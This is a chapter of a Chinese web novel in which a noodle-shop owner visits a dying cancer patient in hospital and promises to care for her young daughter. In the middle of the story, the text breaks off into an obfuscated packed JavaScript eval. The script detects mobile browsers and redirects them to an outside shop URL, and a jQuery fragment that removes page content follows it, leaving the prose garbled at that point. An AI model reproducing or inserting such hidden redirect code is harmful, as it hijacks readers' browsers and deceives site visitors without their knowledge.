阿坤第二天一早就来了。
他骑着他的小电驴，穿着一件深蓝色的冲锋衣，头发被风吹得竖起来，像一只刺猬。房寨刚把店门打开，正在搬桌椅，阿坤就风风火火地冲进来了，手里拎着一袋包子和两杯豆浆。
“先吃早饭，吃完去。”阿坤把袋子往桌上一放，包子还是热的，冒着白气。
房寨没客气，拿了一个包子咬了一口。猪肉大葱馅的，肉很多，汁水足，一咬就流出来了。他吃了两个包子，喝了大半杯豆浆，胃里暖洋洋的。
阿坤吃得快，三两口一个包子，一杯豆浆几口就没了。吃完抹了抹嘴，从口袋里掏出一张纸条，上面写着一个地址。
“市肿瘤医院，住院部三楼，血液科。”阿坤说，“我托医院的熟人查的，她转过去之后住在那边。”
房寨看着那张纸条，心里踏实了一些。昨天下午那种悬在半空的感觉终于落了地。至少知道她在哪了，至少不用再猜了，至少今天去了能看到她。
他把店里的东西简单收拾了一下。汤炖上了，让周阿姨来了之后帮忙看着火。小赵中午来上班，菜单上的东西他都会做，煲仔饭可能火候掌握不太好，但炒河粉和面没问题。房寨把需要做的事情写在一张纸上，贴在厨房的墙上，怕他们忘了。
“中午可能人多，你们忙不过来就先别接煲仔饭的订单，就说老板不在，今天不卖煲仔饭。”房寨跟小赵交代了一句。
小赵说知道了，让他放心去。
九点多，房寨和阿坤骑着车出发了。阿坤的小电驴带不了两个人，房寨骑着自己的三轮车，阿坤骑电驴跟在旁边。两辆车一前一后，穿过城南的大街小巷，往城北的方向去。
天阴着，但没有下雨。云层很低，灰蒙蒙的，压在高楼顶上，像是随时会掉下来。风很大，吹得路边的树哗哗响，黄叶被风卷起来，在空中打着旋，又落回地面。
城北和城南不一样。城南是老城区，房子矮，街道窄，人多车多，到处都是烟火气。城北是新城区，马路宽，楼高，人少，冷冷清清的，连风都更大一些。路上的车开得很快，从他们身边呼啸而过，带起一阵风。
骑了四十多分钟，到了医院。
市肿瘤医院比之前那家大很多，有好几栋楼，最高的那栋有十几层。楼外面是灰白色的瓷砖，看起来很新，但大门口的花坛里种的花已经谢了，剩下干枯的枝干，在风里摇来摇去。院子里停满了车，车位全满，有人在停车场绕了好几圈都找不到位置。
房寨把三轮车停在医院外面的路边，用锁锁好。阿坤的电驴停在旁边，两辆车挨在一起，像两个相依为命的人。
住院部在三号楼，要穿过一个长长的走廊才能到。走廊是露天的，风从两头灌进来，吹得人浑身发冷。走廊两边的墙上贴着各种健康宣传画，有教人怎么预防感冒的，有教人怎么控制血压的，有教人怎么戒烟戒酒的。画已经旧了，边角翘起来，被风吹得啪啪响。
进了住院部大楼，里面暖和多了。暖气开得很足，热烘烘的，让人想脱外套。大厅里有不少人，有的坐在椅子上等，有的在窗口办手续，有的推着轮椅走来走去。空气中弥漫着消毒水的味道，刺鼻又熟悉，和之前那家医院一样，哪家医院都是这个味道。
电梯很慢，等了好一会儿才下来。里面已经有几个人了，一个坐着轮椅的老太太，一个抱着孩子的年轻爸爸，还有一个穿着白大褂的医生。三个人挤在电梯里，房寨和阿坤进去之后就更挤了，阿坤的胳膊肘都快顶到医生的后背了。
三楼。电梯门开了，走廊很安静，和之前那家医院差不多。地板是浅灰色的，擦得很亮，能照出人影来。墙上挂着一些画，不是什么名画，就是一些风景照，山啊水啊花啊草啊的，大概是用来让病人心情好一些的。
护士站的小护士抬起头看了他们一眼，问找谁。阿坤说了王丽的名字，小护士查了一下，指了方向：“往前走，走到头右转，倒数第二间。”
房寨顺着她指的方向走。走廊很长，两边都是病房，门关着，只能听到里面隐隐约约的说话声。有的房间里有人在笑，笑声不大，但在安静的走廊里听得很清楚。有的房间很安静，什么声音都没有。有的房间门开着一条缝，能看到病床的一角和吊在床头的输液瓶。
倒数第二间。门关着。
房寨站在门口，深吸了一口气。阿坤站在他身后，没说话，只是拍了拍他的肩膀。那一下拍得很轻，但房寨觉得很有力量，像是有人在告诉他——不管里面什么样，你都不是一个人。
他敲了敲门。
“进来。”是个女人的声音，不是王丽的，是另一个人的。
房寨推开门。
房间不大，两张床。靠窗的那张床上躺着一个老太太，头发全白了，脸上全是皱纹，正在看手机，手机声音开得很大，放的是短视频，一个男人在讲笑话，老太太看得很开心，时不时笑一下。靠门的那张床上，躺着王丽。
她比上次更瘦了。
房寨几乎认不出她来。上次见的时候她还能睁开眼睛，还能说话，还能笑。这次她闭着眼睛，脸色灰白，嘴唇干裂起皮，头发全没了，头上包着的那块花布巾也换成了医院的白帽子。被子盖到胸口，露出来的手臂细得像一根树枝，皮肤几乎是透明的，能看到下面的青色血管。
床头柜上放着一个水杯、一包纸巾、一瓶没喝完的矿泉水。水杯是粉色的，上面印着一只小猫，大概是以前用的，旧了，杯口的漆都磨掉了。
房寨站在门口，手里还拎着保温桶。阿坤在后面轻轻推了他一下，他才迈步走进去。
他把保温桶放在床头柜上，动作很轻，怕吵醒她。但王丽还是醒了。她慢慢睁开眼睛，眼神很涣散，和上次一样，像隔着一层雾看人。她看了房寨一眼，又闭上了。过了几秒，又睁开了，这次眼神清明了一些，像是在努力聚焦。
“是我。”房寨说，“做面的。”
王丽的眼睛亮了一下。
那种光很微弱，像是一根火柴在黑暗中划亮了一瞬间，但房寨看到了。那种光他见过一次，上次来的时候也见过。那是王丽听到“女儿”两个字时的光，是他这辈子见过的最亮的光，也是最让人心酸的光。
“小月……”她的声音比上次还轻，轻到几乎是气声，不用力听根本听不清。
“小月很好。”房寨说，“她每天都来店里，每天都吃一碗面。昨天吃了排骨面，吃了一大碗，汤都喝完了。”
王丽的嘴角微微动了一下，不知道是想笑还是想说什么。
“她长胖了一点。”房寨说，“周阿姨每天都给她带零食，她不吃，说要留给妈妈。小赵教她写作业，她的数学进步了，上次小测验考了七十多分。”
王丽的眼睛湿了。没有流下来，就是湿了，眼眶里有一层水光，在灯光下闪了一下。她眨了眨眼，水光就没了。
“她画了一幅画，说要送给妈妈。”房寨从口袋里掏出一张折好的纸，打开，是一幅画。彩笔画，颜色很鲜艳，线条歪歪扭扭的，但能看出来画的是两个人，一大一小，手拉着手。大的那个人穿着裙子，头发很长，笑着。小的那个人扎着两个小辫子，也笑着。画的右下角歪歪扭扭地写着几个字：我和妈妈。
房寨把画举到王丽面前。王丽看着那幅画，看了很久。她的手指动了一下，像是想伸手去摸，但手抬不起来。
“好看吗？”房寨问。
王丽点了点头，动作很轻很轻，不仔细看几乎看不出来。但房寨看到了，他一直在看她的脸，怕错过任何一个表情。
房间里有短暂的沉默。隔壁床的老太太已经把短视频关掉了，大概是不想打扰他们。房间里很安静，只有暖气片里水流的声音，咕噜咕噜的，很轻。
“王丽。”房寨叫了一声她的名字。
王丽看着他。
“小月我会照顾的。”房寨说，“你不用操心。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516322|203000||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
这句话说出口之后，他自己都愣了一下。他没想过要说这句话，来之前没想过，在路上也没想过，但在病房里站了这几分钟之后，这句话就自己从嘴里跑出来了。不是他想说的，是这句话本身想被说出来。
王丽看着他，看了好几秒。她的嘴唇动了动，像是想说什么。第一次没发出声音，她又试了一次，这次发出了一点声音，很轻很轻，但房寨听到了。
“谢谢。”她说。
又是谢谢。
和信上写的一样。
房寨想说“不用谢”，但觉得太轻了，说了等于没说。他张了张嘴，最后只说了一句：“你放心。”
王丽又笑了。这次的笑和上次不一样，上次是嘴角微微翘起来，这次是整张脸都在笑。虽然她瘦得已经没什么肉了，但那种笑是从心里往外溢出来的，能让人看到。
阿坤在门口站了一会儿，把空间留给房寨和王丽。他靠在走廊的墙上，掏出手机看了几眼，又揣回了口袋。他听到病房里传出来的声音不大，但很清晰。他认识房寨这么久，从摆摊的时候就认识了，从来没听房寨用那种语气说过话。不是温柔，是坚定，是那种“我说到做到”的坚定。
他知道房寨这个人，说出来的话一定会做到。
房寨在病房里待了大概半个小时。他给王丽倒了一杯水，用棉签蘸了水擦了擦她的嘴唇，嘴唇太干了，干得裂了好几道口子，有些口子还渗着血丝。他把保温桶里的汤倒出来一碗，用勺子喂了她几口。王丽喝得很慢，一口要咽很久，但她喝了，喝了小半碗。
“小月明天还会来店里。”房寨把碗收了，“你好好养着，等她来看你。”
王丽点了点头，这次动作比之前大了一些，点头的幅度能看出来了。
房寨站起来，把保温桶盖上，把那幅画折好，放在王丽的枕头边上，就在她的脸旁边，她一转头就能看到。
“我走了。”房寨说。
王丽看着他的脸，嘴唇动了动。
“你叫什么名字？”她问。
房寨愣了一下。他来了两次，做了面，送了汤，说了那么多话，但一直没有告诉她自己的名字。
“房寨。”他说，“房子的房，寨子的寨。”
王丽轻轻点了点头，像是在嘴里默念了一遍这个名字，把它记住了。
房寨走出病房，关上门。
阿坤在走廊里等着他，看到他出来，问了一句：“怎么样？”
“还行。”房寨说，“比上次瘦了，但精神还好。”
阿坤点了点头，没有多问。
两个人顺着走廊往电梯的方向走。走廊很长，和来的时候一样长，但走起来好像短了一些。可能是知道了她在哪，心里有底了，路就不觉得长了。
等电梯的时候，房寨靠在墙上，长长地呼了一口气。
“你刚才说‘小月我会照顾的’。”阿坤说，“你是认真的？”
“认真的。”
“你知道照顾一个小孩意味着什么吗？”
房寨想了想，说了一个字：“面。”
阿坤愣了一下：“什么？”
“就是面。”房寨说，“每天一碗面。”
电梯到了，门开了。两个人走进去，电梯里只有他们俩。门关上的时候，阿坤忽然说了一句：“寨哥，你这个人吧，有时候挺傻的。”
房寨没说话。
“但傻人有傻福。”阿坤补了一句。
电梯到了一楼，门开了。两个人走出住院部大楼，外面的风还是很大，吹得人睁不开眼睛。天还是很阴，云层还是那么低，灰蒙蒙的，压在城市的上空。但房寨觉得，今天的天气好像没那么糟糕。可能是因为他知道王丽在哪了，知道她还在，知道她还能喝汤，还能点头，还能笑。
他骑上三轮车，阿坤骑上电驴，两个人一前一后，往城南的方向去。
风从背后吹过来，推着他们往前走。